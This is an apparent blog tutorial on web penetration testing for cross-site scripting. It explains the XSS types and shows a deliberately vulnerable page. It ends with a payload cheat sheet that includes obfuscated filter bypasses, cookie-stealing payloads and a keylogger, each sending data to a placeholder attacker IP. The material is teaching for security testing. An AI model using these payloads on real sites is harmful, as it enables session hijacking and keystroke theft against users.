Web Application Penetration Testing (WAPT): Cross-Site Scripting (XSS)
Hello world, today we will see Cross-Site Scripting (also known as XSS) which is one of the most famous cyber attacks against web applications. This attack is relatively easy to carry out, but can lead to serious consequences, such as: data theft, session hijacking, phishing attacks, web defacement, and malware distribution. π€―
Similar to SQL Injection, also XSS are injection attacks where the untrusted user input is concatenated to the insecure code written by developers. However, in this case, the injected code is JavaScript (JS), not SQL.
Below you can find an example of a vulnerable snippet of HTML code which does not validate the user input and directly writes it to the page without any sanitization or escaping:
<!DOCTYPE html>
<html>
<head>
<title>XSS Vulnerable Page</title>
</head>
<body>
<h1>Welcome to My Website</h1>
<form method="GET">
<label for="name">Enter your name:</label>
<input type="text" id="name" name="name">
<input type="submit" value="Submit">
</form>
<h2>Hello, <span id="greeting">
<script>
// Vulnerable to XSS
document.write(decodeURIComponent(location.search.split('=')[1]));
</script>
</span>!</h2>
</body>
</html>
The following two screenshots demonstrate the behavior of the web page with two different input values:
The techniques described below are intended solely for educational purposes and ethical penetration testing. They should never be used for malicious activities or unauthorized access.
There are four main different types of Cross-Site Scripting attacks:
- Reflected XSS: The injected JS code is reflected by the server in its response to the vulnerable request. This kind of attack is delivered to victims through different routes, including (but not limited to) email messages or external websites.
- Possible Scenario: An attacker sends a crafted URL via email. When clicked, the server reflects a malicious script, which executes in the victim's browser.
- DOM-based XSS: It is similar to Reflected XSS, but the injection and execution of the malicious script occur entirely on the client side (in the user's browser). The server may not be aware of the attack since it doesn't process or store the malicious script.
- Possible Scenario: A malicious URL fragment is used by an attacker. When visited, the browser's JavaScript processes the fragment, executing the script and altering the page content.
- Stored XSS: The injected JS code is permanently stored on the server (e.g., in a DB) and will be executed each time a user visits the affected page. For this reason, it is extremely more dangerous than Reflected XSS which requires user interaction.
- Possible Scenario: An attacker posts a malicious comment on a blog. The script is stored in the database and executes whenever users view the comment.
- Blind XSS: It is similar to Stored XSS, but the injection point is different from the execution point. It is usually hard to find during a penetration test because the scope is often restricted to a single web application.
- Possible Scenario: An attacker submits a script via a feedback form. The script is stored and later executed when an admin views the feedback.
XSS Cheat Sheet
Here are my favorite payloads (based on those provided by PayloadsAllTheThings and HackTricks):
<!-- SCRIPT -->
<script>alert(1)</script>
<script>\u0061lert(1)</script>
<script>alert(String.fromCharCode(88,83,83));</script>
<script>eval(String.fromCharCode(97,108,101,114,116,40,39,88,83,83,39,41));</script>
<<script>alert('XSS');//<</script>
<script>alert(document.cookie);</script>
<script>var i=new Image;i.src="http://{{IP ADDRESS}}/"+document.cookie;</script>
<script>window.location='http://{{IP ADDRES§}}';</script>
<script>
document.onkeypress = function(e) {
fetch('http://{{IP ADDRESS}}/log?key=' + e.key);
};
</script>
<!-- IMG -->
<img src=x onerror=alert(1);>
<img/src='1'/onerror=alert(1)>
<img src=1 onerror="Function('return ' + atob('ZXZhbCgiYWxlcnQoMSkiKTs='))()">
<img src=1 onerror="Function('return ' + Function('return ' + decodeURI(',53,74,72,69,6e,67,2e,66,72,6f,6d,43,68,61,72,43,6f,64,65'.replace(/[,]/g, '%')) + '(101,118,97,108,40,34,97,108,101,114,116,40,49,41,34,41,59)')())()">
<img src="x" onerror=this.src='http://{{IP ADDRESS}}/?'+document.cookie;>
<!-- SVG -->
<svg onload=alert(1)>
<svg/onload=alert(1)>
<!-- DIV -->
<div onpointerover="alert(1)">MOVE HERE</div>
<div onpointerdown="alert(1)">MOVE HERE</div>
<div onpointerenter="alert(1)">MOVE HERE</div>
<div onpointerleave="alert(1)">MOVE HERE</div>
<div onpointermove="alert(1)">MOVE HERE</div>
<div onpointerout="alert(1)">MOVE HERE</div>
<div onpointerup="alert(1)">MOVE HERE</div>
<div style="width: expression(alert('XSS'));">
<!-- INPUT -->
<input type="text" value="XSS" onfocus="alert(1)">
<!-- IFRAME -->
<iframe src="javascript:alert(1);"></iframe>
<!-- A -->
<a href="javascript:alert(1)">Click me</a>
In my opinion, the PortSwigger's cheat sheet is one of the best available for bypassing WAFs and filters. If you are interested, please have a look here!
Some interesting resources:
- Cross-Site Scripting (OWASP)
- Cross-Site Scripting (PayloadsAllTheThings)
- Cross-Site Scripting (HackTricks)
- Cross-Site Scripting (PortSwigger)
Got thoughts or questions about Cross-Site Scripting? Share your insights or ask away in the comments below. Letβs tackle cybersecurity challenges together! π€